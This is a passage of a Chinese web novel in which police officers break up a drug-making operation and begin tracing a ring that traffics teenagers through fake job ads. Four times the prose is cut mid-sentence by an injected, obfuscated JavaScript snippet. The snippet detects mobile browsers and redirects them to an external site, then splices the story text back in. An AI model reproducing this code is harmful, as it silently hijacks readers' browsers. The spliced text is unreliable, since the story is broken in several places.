程昭回复“OK”。 周立言点燃了几个纸团，放到温度感应器的下面。 程昭拉开一个烟雾弹，丢进了一到二层楼梯间。 两人在T字走廊中间区域，一人找了一个空房间，藏起来。 火警警报触发，整个大楼的喷水装置都在喷水。 虽然不见火光，但是楼梯烟雾那么浓，还有刺鼻难闻的气味。 垃圾厂的人以为真的发生火警，有的去拿灭火器，有的冲出楼外。 二楼的人纷纷探出头来，捂住口鼻，匆匆跑向楼梯。周立言和程昭偷偷出手，把人扯进房间，一个个用电击棒电晕。 三楼的人下楼的时候，被楼梯的化学气体熏得睁不开眼，到了二楼稍微喘一口气，然后就被两人伺机电晕。 一楼的人直接往外跑。外面戒备的特警迅速制服这些跑出来的人。 “警察！” “有警察，火灾是假的！” …… 混乱发生之前，黄秀丽和黄之荣正在三楼总经理办公室，检查最新生产的货品质量。 药品有致幻迷情兴奋的效果，黄秀丽和黄之荣又有点蠢蠢欲动，想要再亲热一番。 黄秀丽虽然有点上头，但是还有一点理智，她用力推了黄之荣两下，“不行，办公楼人来人往的……” 黄之荣却是不依不饶，继续扯黄秀丽的衣服，“怕什么，这里你最大。没你允许，谁敢上来这里。就是看到了，也不敢说出去……” 黄秀丽推不动他，在黄之荣的热情之下，慢慢也有点想要了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440389|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个时间垃圾厂里面人确实不多…… 两人衣衫半褪，意乱情迷，正准备进入的时候，火警警报发出刺耳的尖叫，喷水装置“滋滋”喷水，两人刚好在喷水柱下面，淋了个透心凉。 黄秀丽惊疑不定，一脚踢开黄之荣，快速穿上衣服，“怎么回事？楼里着火了？” 黄之荣的一腔火气也萎了，胡乱整理好衣服，打开门往外看。只见一阵阵浓烟从楼梯间漫延到三楼，烟雾的味道刺鼻难闻，让人恶心想吐。 黄之荣赶紧关上门，“糟了，好像是楼下的化学品遇水反应了。这气体有毒，你这里有防毒面具吗？” 黄秀丽着急地摇摇头。 两人匆匆忙忙把外套淋湿，捂住口鼻跑下楼梯。 楼道空间小，警报声尤其刺耳，楼下好像还有一些吵杂声。 地上烟雾缭绕，黄秀丽隐隐约约看到几个玻璃瓶，心里感觉有点不对劲，但是楼梯味道熏得她无法思考，一心只想着逃离。 他们跑到二楼，发现二楼好像没有火光，但是下一层楼梯烟雾更浓，有点犹豫要不要往浓烟里面冲。 烟雾中，黄秀丽看到一个身型高大、戴着防毒面罩的保安向他们靠近，连忙问：“怎么回事？哪里着火了？” 保安指了指楼梯下面，他们看向楼梯，“什么……” 两人被一左一右的两个电击棒，电晕了，软软地倒在地上。 周立言和程昭顺手给他们绑上扎带，拖到旁边的房间里。 房间里面已经有六个东倒西歪的人，无一不被绑着。这些人都是二三楼的工作人员，火警警报响起的时候跑向楼梯，然后被周立言、程昭打晕电晕。唯一有武器的三楼保安，被二三楼楼梯的有毒气体熏得想吐，一下来就被程昭轻松制服。 两人等了一会，好像没有人下来了。 周立言对着耳麦说：“二楼三楼的人被我们制服绑住了，好像没有其他人来了。你们一楼怎么样？” 孙萍很惊讶：“这么快？我们刚刚和两个歹徒交火了，他们在掩体后面，我们还在找角度突破。” 周立言问清了歹徒的位置，然后和程昭悄悄下了楼梯，在歹徒背后射击。 两名歹徒倒下。 后援队伍马上上前，拿走歹徒的武器。这两个人还有脉搏，警员就把他们带走了。 楼梯的烟雾弹烧完了，一二楼楼梯的烟雾变淡。 特警准备上楼抓捕，程昭特别提醒他们，楼上楼梯有化学气体。 特警点头，纷纷带上面罩，然后行动。 周立言和程昭在频道里面联系侯远山，确定他们安全，便先去和孙萍汇合，了解抓捕情况。 …… 这次抓捕很成功，黄家、垃圾厂、运输公司的人都没有跑掉。已经下班回家的员工，也在员工名册和被捕的人指认下，一个个在家里被抓。 侯远山和陈丰被救护车带去了医院。 警队在垃圾厂搜索，找到了账册、各种违禁药品、大量的现金、伪造的证件…… 通过账册和一些通讯记录，被收买的警员都被一一抓住。 于山担心犯人关押在这边村镇的看守所不安全，为免夜长梦多，他干脆下令，要求将犯人统一带到市区，关押在一个比较可靠的看守所。 78. 后续和对峙 孙萍带着大部队押送几十个犯人离开，留下了一小队警员支持周立言他们的后续工作。 周立言、程昭、乔良、孙泽林分工合作，带着支援的警员和后续来到的鉴证科技术员，把黄家几个人的宅子、运输公司、垃圾厂等相关地方都翻了个遍。 孙萍的刑事二队也连夜审讯这些涉案的犯人。 刑事二队三队同时发力，找到了很多犯罪证据，理清了很多案件情况。 …… 两年前，黄国忠认识了一个出手阔绰的年轻人，偶尔会接到他的一些运输材料、家具之类的单子。 这个年轻人有点像暴发户，性格比较暴躁，但是对运货的事十分仔细，事无大小都盯着。有时候遇到什么疑问，他都会打电话问人，然后再做决定。 黄国忠感觉这个年轻人身上有秘密，背后可能有什么大公司做靠山。而且年轻人出手大方，黄国忠也对他和他的货特别用心，希望可以接触到他背后的靠山，拿到长期合作的饭票。 一次偶然的机会，黄国忠帮年轻人解决了一个麻烦，同时发现了货品里面隐藏的药品。这个年轻人背后的人出现了，拉他入局，给了他一大笔钱，让他做长期的合作商。 年轻人叫张理。他的上司叫黑熊，大家都叫他熊哥。 运的货里面藏着不能见光的东西，黄国忠干脆拉上自家的弟弟妹妹来帮忙。 虽然大家知道这件事不合法，但是财帛动人心。黄家几兄妹不想继续过穷苦日子，都参与了运输。 黄秀丽和黄国忠比较机灵圆滑。黑熊观察他们一段时间后，把两人收为手下。 后来黄秀丽认识了黄之荣，有了制作药品的技术员，又有原料，她向黑熊建议，开一个新的制药基地…… 黄家老三老四跟着他们做事。 黄家兄妹的配偶、孩子都不知道药品的事。他们都以为家里可以富裕起来，是靠运输公司赚来的…… 十几天前，黄国忠、黄秀丽、黄国华三人，在黄国华的新房子二楼待客室，讨论制药基地和运货的事。 黄老三的妻子艾云突然回家，听到他们的谈话。 他们发现艾云，在楼梯口发生争执。 艾云想要跑下楼，黄国忠推了她一把，艾云磕破了头，流了很多血。 几个人都见死不救，等艾云咽气之后，报警说发生意外。 黄永回家参加葬礼，因为母亲的死，对黄家几户人的生意愈加怀疑，后来还发现了垃圾厂的制药实验室。 黄国华劝说黄永，说了很久都没有用，黄永还反过来劝他自首。 最后他们对黄永下迷药，让他写下遗书，然后在垃圾厂的水池淹死了他。把所有痕迹清理干净之后，把黄永的尸体丢进河里，伪装成自杀。 派出所的几个警员收过他们的好处，帮他们做了掩护。 …… 几日连夜审讯，再加上物证充足，几个主谋不甘情愿地把交待了犯罪事实。 通过犯人的口供和现场找到的证据，警方找到了藏匿在C市的制药基地，可惜那里的人早已收到风声，逃之夭夭。 不过逃得了一时，逃不了一世。这些犯人都被警方通缉，他们没有韩高煊（龙傲天男主）的狡猾和运气，后来都被一一抓住了，不过这些也是后话了。 …… 侯远山和陈丰之前中了毒。 侯远山的主要是迷药，留院观察了两天，然后就出来帮忙干活了。 陈丰就严重一点，打手给他注射的液体是基地的毒药，会损害神经和致幻。 不过陈丰的身体很神奇地产生了排异反应，流走的血水带走了很多毒药，剩下的分量不足以致命。 经过一段时间的治疗，陈丰身体已经好了很多。再休养一段时间，就可以正常上班了。 陈丰住院期间，他和他喜欢的人感情突飞猛进。 那个女生早年有过一段不愉快的婚姻，早已不再期待爱情。之前陈丰对她热烈追求，她都没有太大回应。这次陈丰受伤，她才看清了自己的内心，主动照顾陈丰，同意交往。 陈丰算是因祸得福，住院都是笑呵呵的。 …… 因为材料、制药一系列的案件，警方差不多连续忙碌了一个月，一群人都累坏了。 案件告一段落之后，大家都得到了难得的几天休假，可以轮流休息。 程昭也没心思做什么事情，懒懒地宅在家里，睡睡懒觉，逗逗小猫。肚子饿了都懒得煮饭，打算随便点个外卖。 周立言知道了，直接打包了熟食上门，省得女朋友吃外卖。 因为程露在学校，两人在家里优哉游哉地过了两天二人世界。即使什么都不做，两人依偎在一起，安安静静地看电影，也觉得很快乐。 …… 最后一天休假，程昭和周立言在附近的商场买东西。 不知道是不是巧合，两人在商场遇到了周立言的父亲周青海，还有他的秘书孟飞。 周父梳着背头，一身儒雅的定制西装，看起来比实际年龄年轻十几岁，一副成功人士的样子。周父的长相和周立言不太相似，程昭看到他，也没反应过来他是谁。 秘书孟飞则是社会精英的打扮，拿着电脑包，紧跟在周父侧后方。 周立言、程昭和他们几乎是迎面遇到，周立言脸色微变，程昭感觉到他的手握紧了一点点。 周父看到周立言和程昭亲密的样子，脸色不怎么好。 秘书孟飞很有眼色地找借口回避，去附近帮老板买咖啡。 他们周围没有其他人。 程昭感觉到，周父嫌弃的目光，从头到脚地扫了她一遍。 周父板着脸，看向周立言：“她就是之前那个，和你一起出差的女下属？” 周立言冷冷地回复：“她是我的女朋友。我们的事与你无关。” 周父恨铁不成钢，恨不得用力摇几下周立言的脑袋，看看里面是不是进水了：“你怎么这么不懂事？之前给你介绍的几家千金，哪个不比她好？你难道想一辈子做警察？” 周立言扯了扯嘴角：“程昭比那些人好很多倍。我本来就打算做一辈子警察……你想通过养蛊来决定继承人，你儿子这么多，没必要加上我。我不会听你的话去当上门女婿的，你死心吧。” 周父大怒：“你个逆子！你的钱都是我的，说话还这么硬气……” 周立言嗤笑一声：“你说错了，我的钱是奶奶留给我的。我之前查到了，在族谱上面，我的名字已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456435|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记到她名下了……她老人家并不承认你。” 周父气得脸色通红，他没想到周立言会查到这个。 周父一直对自己私生子的身份耿耿于怀。虽然他掌权了周家的生意，但是他还有几个同父异母的兄弟。他们在总部和分公司身居要职，甚至有几个拿着数额不少的股份。万一被其他人知道他没有被周老太太承认，其他人说不定会联合起来，质疑他家主的身份，质疑他的决定。 周父还想说什么，周立言却先一步打断，继续加码，“之前已经有几个叔伯知道我手里有老太太的股份，想要从我手里买下来。如果你继续影响我的生活，我就只好答应他们的交易了。他们出的价钱还挺诱人的。” “不可以！”周父冷静下来了，“我给你铺的路，都是为你好。既然你不领情，我也懒得理你了……但是你不可以意气用事，卖掉手里的股份。家里公司出问题，你就对不起周家的先辈。我那几个兄弟是什么货色，你应该很清楚。” 周立言：“你不打扰我们，我也不会乱来。” 周父冷哼，瞪着程昭：“你一个父母双亡的小狐……” 周立言上前一步，用身体挡住周父的视线：“你再说？” 周父抿着嘴巴，深吸一口气，把嘴巴里面的恶言恶语咽下。 “记住你说过的话，不要乱来。”周父用力瞪了周立言一眼，然后怒气冲冲地走了。 …… 程昭担忧地看了看周立言。 周立言微微一笑，和程昭面对面地看着她，双手牵住她的手，语气温和地问：“让你见笑了，有被吓到吗？” 程昭摇摇头，略带担忧地反问：“你没事吧？” 周立言轻轻抱住程昭，头埋在她的肩膀，闷声说：“我没事，就是怕你嫌弃我……” 程昭轻轻一笑，安抚地拍拍他的背，“我之前说了，你不离开，我就不会抛下。我可是信守承诺的人。” 周立言在程昭颈窝深吸一口气，笑着说：“我不会离开的。” …… 没有麻烦的人打扰，两人开开心心地买完东西准备回家。 程昭同一栋楼的王阿姨看到两人，热情地向程昭打招呼：“哎，程昭，这么巧！你也来这边逛街啊？这是……你男朋友？” 程昭笑着和王阿姨打招呼，然后给两人做了介绍，“这是我男朋友周立言，他也是警察，住我们隔壁小区……这是王冬梅阿姨，她是我父亲的旧同事，现在是住我楼上的邻居，平时很照顾我，出差的时候，小橘就是她帮忙照顾的。” 王阿姨摆摆手，笑呵呵地说：“这种小事算不得什么。程昭人可好了，平时煮了好吃的，还会分给我们尝尝。” 周立言与有荣焉：“程昭的手艺确实很好。” 三人闲聊了几句。王阿姨还有约，先行离开。 程昭和周立言则带着大包小包回家了。 …… 三个人不知道，有一双眼睛，曾经在暗处，惊疑不定地观察了他们一段时间。 这个人躲在他们没留意的地方，偷听了他们的对话。他焦虑地咬着大拇指的指甲，皱着眉头思索。 忽然他的手机震动了。 担心引起别人注意，这个人悄悄离开了。 79. 挖掘案件 不知道是不是因为药品案一下子抓了很多人，之后一段时间A市都很平静，没有出现其他严重的案件。 警方便把注意力都放在药品、运输那些人身上。 虽然关于药品、运输的罪证大致查清，但是警方觉得，这些人可能还有其他还没有被挖掘的问题。 除了手上有案件的警察，市局所有人手都加入了调查，深挖犯人的过往经历。 大部分人一开始都死咬着不松口，只承认自己参与了运输、制药。涉du已经是重罪，无论他们说不说其他罪行，都会被严判。他们干脆管住自己的嘴巴，免得被老板背后的势力针对。 很多警察一开始还很认真地核查、审问，但是时间一长，大家渐渐有点懈怠了。 没有具体案件，没有苦主，没有证据，大多数犯人都是底层的执行者，根本不知道背后组织的事情。反正这些犯人都跑不了，不如等以后出现了具体案件，再对他们秋后算账。 …… 这些犯人差点就可以漏掉一些罪责，可惜他们遇到了程昭。 通过素材收集系统，程昭接触这些罪犯和物证的时候，触发了大量的案件。 程昭和犯人本人、他的亲朋好友交谈，旁敲侧击打探到很多案件细节。 然后她和技术员联手，有目的地深挖犯人的社交经历，得到了很多旁证。 诸多证据摆到犯人眼前，长相可爱的女警官笑眯眯地说出犯人极力掩藏的罪行。 犯人发现，无论怎么掩饰，做过的坏事都会被发现，真的是天网恢恢疏而不漏。 最终，被问话的犯人都承认了做过的案件，交代了所有事。 …… 参与查案的警察都被程昭的敏锐惊呆了。 大家都看过搜集起来的物证和口供。 很多线索都很不起眼，犯人说漏嘴的证词和其他案件的混在一起，大家都没想到里面暗藏着其他的案件，偏偏程昭发现了。 而且程昭寻找线索好像很有自己的方法。 很多信息的排查工作都很费时费力，但是她却能很快地正中目标。 大家向她请教，她很爽快地分享了一些心得和方法，还谦虚地把自己的敏锐归功于运气。 有些警察之前听说三队调了一个交警入队，觉得难以理解。隔行如隔山，找个交警加入，岂不是拖累队伍？ 现在他们都理解刑事三队的做法了，这种人才，天生就是做警察的料。 被挖出来的案件大多数都是抢劫、盗窃，还有部分强-奸、杀人案，警方都快速整理好案件，上交给法院，让法院早日定罪，还受害者应得的公道和赔偿。 这些不法分子通过犯罪获得了大量的钱财，现在都冻结充公，支付罚款绰绰有余。 …… 这些罪案里面，有几个案件引起了大家的注意。 “运输活人？弃尸？”侯远山皱眉，“难道他们还涉及拐卖？” 程昭点头：“非常有可能。可惜他们只参与了部分的转运工作，不清楚受害者从哪里来、到哪里去，受害者的数量和身份也不确定。” 程昭嘴上说可能，实际上她已经十分确定组织涉及这些罪案。 【系统触发了“非法拘禁”“人口贩卖”“弃尸”等事件。除了“弃尸”事件是识别出主犯，其他事件里面，目前捉到的犯人都只是帮凶。现有的证据太少了。】 大家翻看了一下收集到的线索证词，愈发怀疑KL组织涉及人口贩卖。 周立言：“运输过程死去的受害者，我们尽快找到他们的遗体，看看能不能从失踪人口库里面匹配到DNA……听他们的说辞，三年前他们就开始帮忙转运了，运输的人里面有男有女，年龄主要分布在12~25岁。” 几个队友各抒己见，提出了几个可能的调查方向。 乔良好像在想什么往事，看起来呆呆的。 周立言若有所思，看了乔良一眼，“乔叔，你是不是……” “没什么，”乔良回过神来，摇摇头，“只是想起一些往事，大家不用管我。” 乔良不太想说，大家也识趣地没有追问。 警察审讯相关犯人，问出了弃尸的地点，警方派人找到了被遗弃的四具尸体。 几个死者的性别年龄、死亡时间、遗弃地点都不一样，但是他们有一个共同点——都在失踪人口数据库里面。 这四个死者，两个来自A市，两个来自C市。C市的死者由那边的警察负责，A市的由周立言的小队跟进。 两个死者的家属听到亲人已逝，都十分伤心。他们都没放弃过寻找家人，两家都加入了寻亲互助组织，刚好认识对方。 安抚完家属，三队在家属的嘴里得到了一些线索。 第一个死者王善文，16岁女性，三年前去世。三年前学校放假，王善文去做暑期工，突然失去踪影。当时警察去过她打工的店铺，店长说她消失的前一天辞去了工作，其他人也证实确实如此…… 第二个死者张宝宇，13岁男性，一年前去世。一年前某天放学后，张宝宇和同行的同学分开，之后失踪。家人曾怀疑他是不是偷偷去网吧。警察走访过张宝宇可能会去的网吧和游戏厅，但是没有找到他…… 死者的家里，还原封不动地保存着死者的东西。 程昭和其他人一起，到死者家里、学校、常去的店铺走访了一遍。 虽然时间已经过去比较久了，但是程昭凭借系统的收集提示，发现了一些遗漏的信息。 …… “兼职，赚钱。”程昭在线索黑板写下这两个关键词。 周立言若有所思：“你是说，这两个孩子都曾经做兼职赚钱？” “是的。”程昭点头，“张宝宇其实也做过兼职，不过是游戏代打。他们两个都看过同城网站一个用户发布的兼职帖子，那两个帖子都已经被删除。不过，技术员联系平台，恢复了内容。” 这个账号有做实名验证，但是用的是一个老人家的身份证。老人曾经被诈骗过，身份证号码早就流传出去了。 这两个帖子，一个是招小学生家教，高中生大学生都可以来应聘。另一个是招游戏主播和游戏工作室招新，年龄不限。 周立言：“这个平台用户的账号，还有人在使用吗？他有没有发过其他的内容？” 程昭脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465600|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝重，打开了一个列表，上面有几十个各种各样信息的帖子，有的已经是删除状态，有的还在正常展示。 程昭叹了一口气：“技术员已经在紧盯这个账号了。他上一次登录的地方是A市西城区的一个网吧，按照他往常的频率，这一周应该会再登录一次。” 侯远山皱着眉头：“可是制药、运输案，我们捉了这么多人，不知道这个人还会不会照常登录……” 大家讨论纷纷。 乔良眉头紧皱，一言不发，全神贯注地查看那个兼职帖子的文件。突然，他吸了一口气，站起身来，“不好意思，我需要打个电话，你们先讨论。” 乔良行色匆匆，一边走一边掏出手机。 其他人面面相觑，担心地看向门外。 周立言想了想，还是没说出乔良的过往隐私，让他们先继续讨论。 没多久，乔良匆匆跑回来，圈出了其中一个旅游贴，“这个帖子的内容，我侄女当年好像也看过。” …… 八年前，乔良大哥的女儿乔琳，19岁，高考完，想要出去旅游。但是父母上班走不开，她又约不到同学一起，便想自己一个人出去。 虽然乔琳已经成年，平时还跟着叔叔乔良，学了不少防身术，但是一个年轻女孩子自己出去旅游，她的父母都不太同意。 乔琳高三埋头苦读了一年，实在想出去玩，便找上了叔叔乔良。 乔良和乔琳的关系很好，他差不多把她当成自己女儿一样看待。乔琳人很机灵，又会防身术，乔良觉得大哥大嫂有点过于小心了。 当时他有年假可以休，便答应了带侄女出去旅行。 准备出行的时候，局里刚好遇到一个比较棘手的案件。 这个案子本来乔良可以不管，但是乔良当时正在竞争晋升的机会，一旦别人立功、升职，一个萝卜一个坑，乔良的升迁就遥遥无期了。 乔良便和侄女商量，延后旅行。 乔琳明面上答应得好好的，暗地里却阳奉阴违。居然胆大包天的，自己一个人不声不响地出去玩了。 乔良以为侄女在家里等他，乔良大哥以为女儿和乔良出去了。 等两边发现不对的时候，乔琳已经消失两三天了。 当时乔琳看了很多攻略，有好几个旅行计划，她和乔良约定先去H市，但是乔家联系H市的朋友，都没有找到乔琳。 乔琳失联了四天，家里报了警。 一开始警方不太愿意受理，一个成年女性贪玩出游，又没有迹象表明她遇到危险……但是看在同事的份上，警察帮忙查乔琳的行踪。 几年前科技没有那么先进，监控也比现在的少很多。很多跨市的大巴给钱就可以上，不需要身份证。排查工作很费时费力。 警方花了三天时间，才查到乔琳去了S市。 但是S市的酒店旅馆，都没有乔琳的入住记录。 19岁的乔琳，一下子消失在茫茫人海之中。 …… 乔良握紧拳头，用力抵着桌子，闷声说：“……我一直很后悔。我对不起我大哥一家，对不起乔琳。我一定要找到她，生要见人，死、死要见尸。” 80. 人口生意 周立言拍拍乔良的肩膀，安慰他：“乔叔，你别太自责了……我们迟早会找到乔琳的。你平复一下心情，我们继续看这个案件。” 乔良闭上眼睛，深吸一口气，然后目光坚定地看着周立言说：“可以了，我平复好了，我们继续吧。” 说完，乔良就在警队系统里面，熟练地调出了乔琳失踪的档案。 程昭仔细看了一遍档案的信息，里面记录了乔琳离开家前后几天的行踪、做过的事、接触过的人……内容十分详细，可以看出调查者十分用心。文件的最后，看到档案修改记录，里面一长串都是乔良的名字。 乔叔好可怜…… 怪不得他还是个普通刑警，以他这样的能力和资历，早应该升上去做队长了。他这是在变相地惩罚自己。 希望乔琳没事，可以早日找到她。 程昭整理了一下思绪，然后悄悄调出系统页面，查看“人口贩卖”事件。 【“乔琳失踪”也被标注了关联。】 程昭暗中叹了一口气。 她胡思乱想，推测了一些乔琳可能遇到的遭遇，但是系统都没有反应。 程昭不解，但是也燃起了一丝希望。系统没记录，那应该是她想的都不对。那……乔琳至少没有在人口贩卖事件中死亡？ 程昭对这个案件更上心了。只要查下去，应该可以找到乔琳的下落。 …… 这个案子目前可用信息太少了。 现在只知道部分的转运路线、运人的车子是普通的大货车，车牌是□□。 几个死者的尸体因为时间过去太久，已经没有太多线索了。 所以同城网站那个发帖的神秘账号，目前是最重要的线索。 …… 警方派人在那个网吧，伪装蹲点了几天，没有看到可疑的人，也没有等到那个账号上线。大家都觉得，那个人应该是听到运输公司的人被捕，躲起来了，账号也不管理了。 一路不通，大家便另找办法。既然这是KL组织做的事，除了黄国忠那些人，他们手上还有另外的组织成员。 周立言、程昭等人，去了囚禁孙家豪、陈子穆的监狱，想要在他们口中打听组织人口贩卖的事。 孙家豪的态度很配合，可惜他级别太低，只知道自己那部分工作的相关信息，他甚至没有听说过组织有做人口贩卖。 陈子穆的态度比之前软化了很多，不过还不算十分配合。 程昭他们和他痛陈利弊，还和他透露了他们刚刚破坏组织的制毒基地和运输公司。 陈子穆脸色微变，没有了之前的淡定。 大家感觉陈子穆这边有戏，就继续威逼利诱，劝他配合。 这次陈子穆没有坚持隐瞒，毕竟他没有参与人口贩卖的事。 他之前不想说太多组织的事，他以为组织会想办法救自己出去，但是他被抓了差不多三个月，组织根本没有派人联系过他，反而是警方又破坏了组织的制du生意…… 药品生意是组织的重要资金来源，里面有好几个组织的中低层成员……估计组织不会有什么心思去救他了，他还不如好好配合，换点好处。 陈子穆提出了一些交换条件。 周立言答应了陈子穆的一些改善生活的小要求。 陈子穆想了想，然后说出了他了解的事。 组织做人口贩卖的生意，大概已经十年。以前做得比较多，近两年已经减少了大半。 组织的成员通过一些广告、活动吸引年轻人，筛选适合的人选，把他们偷偷迷晕关起来，然后再运去其他地方。 “……组织一般会把国内的货运到国外去卖，这样可以赚多一点，而且不容易被家人找到。当然了，卖到国内穷乡僻壤也很难被发现，但是那些人付不起组织定的价钱。”陈子穆靠着椅背，一脸冷漠，好像说的真的是什么商品货物，而不是人。 “老板在国外也有生意和人脉，货物出手得很快。一般都是先送去娱乐场，娱乐场不要的就送去工厂，实在不听话不好用的，就送去地下医院。 “有时候一些客户看上了，也会买走一些，那种情况我就不知道会带去哪里了。” 周立言手指轻敲桌面，“你知不知道谁参与或者负责这些生意？” 陈子穆回忆了一下，说出了几个人名，然后又说：“那几个人负责过这边的人口生意，不过去年好像有点变动，不知道有没有换人。以前人口生意是鲨鱼负责的，不过他现在重心转移到国外，国内的部分变成由红狐负责。” 程昭：“那你知不知道，他们会把人关在什么地方？” 陈子穆回忆了一下，报了几个地址。那几个地方都是一些旧工厂或者仓库。 大家问了几个人口案相关的问题，陈子穆都一一作答了。 问到其他案件（生意）的问题，陈子穆笑了：“我们这次只是交易人口贩卖的情报，问其他的，是另外的价钱。” 众人有点无奈，试探失败了。 …… 这次询问陈子穆，收获挺丰富。 虽然说他给出的信息，可能有些已经失效（例如囚禁受害者的地点），但是给出来的涉案人员名单是实打实的。 只要找到这些人，很有可能就能够找到，那些还没有被转移出国的受害者。 至于直接送出国外的，估计需要很长时间，才可以慢慢找到。 大家都猜，乔琳可能是被卖到国外了，不知道流落到哪里。 大家都偷偷打量乔良，有点担忧他的心情。 乔良经历过的事比较多，倒是很快调整好心态。他脸上的笑容依然苦涩，但是目光很坚定，“没事，我知道不会轻易找到。之前我们好像没头苍蝇那样，四处打听都没有结果。现在至少已经有个方向。” 众人纷纷点头，然后开始快马加鞭地追查新拿到的线索。 快一点，说不定就可以解救一批还没有转移走的受害者。 …… 程昭查看了系统，陈子穆说的都是真话，他给的情报都被系统标注了。 有两个人的名字，在信息关联表里面排序比较靠前。程昭便优先查这两个人的相关信息。 张顺、张军，这两个人是亲兄弟，J市人，从小在A市长大。九年前两人合伙经营了一家屠宰场，给菜市场、超市、饭店供应肉类，五年前又开了一家肉制品加工厂，两人的生意规模越来越大，名下有多处房产商铺，还有自己的运货车队。 表面看起来，这两个人就是成功的小商户，公司的账目看起来也很正常。 但是掩饰的假象，经不起细查。 他们的生意发展得太顺了。经济环境起起伏伏，但是他们的公司长期保持盈利。哪怕丢失了几个大客户，他们账户的钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475090|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是一直增加。就连买房子买商铺，他们的钱还是在增加。 他们的产业分布在各处，单凭三队的人力，没办法同时突击检查。如果不能同时突击检查，万一有人通风报信，把证据转移就麻烦了。 周立言申请了一些警员帮忙，和三队一起，去查张顺张军的各处车队、房产、商铺、仓库。 …… 周立言申请人手的时候，程昭接到了妹妹程露的电话。 程露语气很焦急，说话带着哭腔，周围的声音很嘈杂，程昭一开始没听清楚她说什么。 程昭：“程露，发生什么事了？你那边有点吵，你慢点说。” 程露深呼吸一口气，控制着情绪：“我们班两个女生失踪了，其中一个是我的好友张雯雯。” 程昭微惊：“怎么回事？什么时候失踪的？” 程露快速地讲了一遍张雯雯失踪的经过：“学校准备放暑假，班里有几个女生想要做几天暑期工。有个教培机构招兼职，我在校门口捡到传单。 “我们几个人都有点想去看看，但是住宿生出学校不方便。张雯雯和李心月都是走读生，她们昨天放学之后，去了机构那边了解情况。 “今天她们两个都没有回来上学。老师打电话问家长，家长说，昨天他们收到她们的短信，说去同学家里过夜不回家……现在两个人都不见了，都怪我，是我捡到的传单……” 程露说着说着，又着急得哭了。 程昭匆匆安慰了她几句，然后说她会尽快过去她那边，让她不要着急，然后挂断了电话。 …… 张雯雯她们的年龄，也在组织拐人的目标范围里面，而且这个莫名其妙的的传单是程露捡到的……程昭隐隐有种不详的预感。 程昭连忙查看系统。 【“人口贩卖”事件下，“张雯雯和李心月失踪”被系统标注关联。】 程昭想起上辈子看到的龙傲天小说情节，评论区里面有提过程露差点被韩高煊收入后宫。 之前程昭怎么也没想通，程露为什么会和韩高煊扯上关系，她还以为是因为韩学文，然后两人才会遇见。 现在看来，按原来的情节，程露的姐姐死了，即使家里有存款和保险金，程露很可能也会去找兼职。组织通过兼职、旅行等广告吸引人选，程露便落到他们手中。 程昭很担心程露那边的情况，想尽快找到张雯雯。 程昭马上找周立言说明情况，“程露的两个同学因为兼职广告失踪了，这个套路和KL组织的如出一辙。我想先去学校了解情况。检查张顺张军地盘的行动，我可以不去吗？” 周立言微微一惊，居然又有两个人失踪。 周立言想了想，让刚刚归队的陈丰陪程昭一起去学校。 周立言看着他们两个，解释说：“如果真有问题，两个人比较好照应。陈丰你的身体还没完全恢复，突击检查的事你就先不要去了。” 陈丰：“好的，我和程昭一起去学校。” 周立言叮嘱道：“如果发现失踪也是因为人口贩卖，你们尽快通知我们。我这边也让大家留意，看看有没有符合张雯雯、李心月特征的人被困。” 程昭很感激：“你们注意安全。” 周立言微微一笑：“你们也是，快去吧。” 程昭和陈丰点头，快速整理好东西，然后开车前往学校。 81. 突破 程昭和陈丰来到学校，失踪学生的家长和派出所的警察都到场了。 程露的班级，恐慌在人群中弥漫。昨天还一起上课的女同学，今天突然失踪了，看着那两个空荡荡的座位，大家都十分难过。 因为事情经过还没有搞清楚，怕大家私下讨论互相影响。老师要求所有学生留在课室，不要交谈。 大家都坐在位置上，惶惶不安地看着四周，偷看课室外走来走去的大人。有几个敏感的女生，忍不住偷偷捂住嘴巴抽泣。 程昭和陈丰到了课室走廊，程露看到了，激动地站了起来。 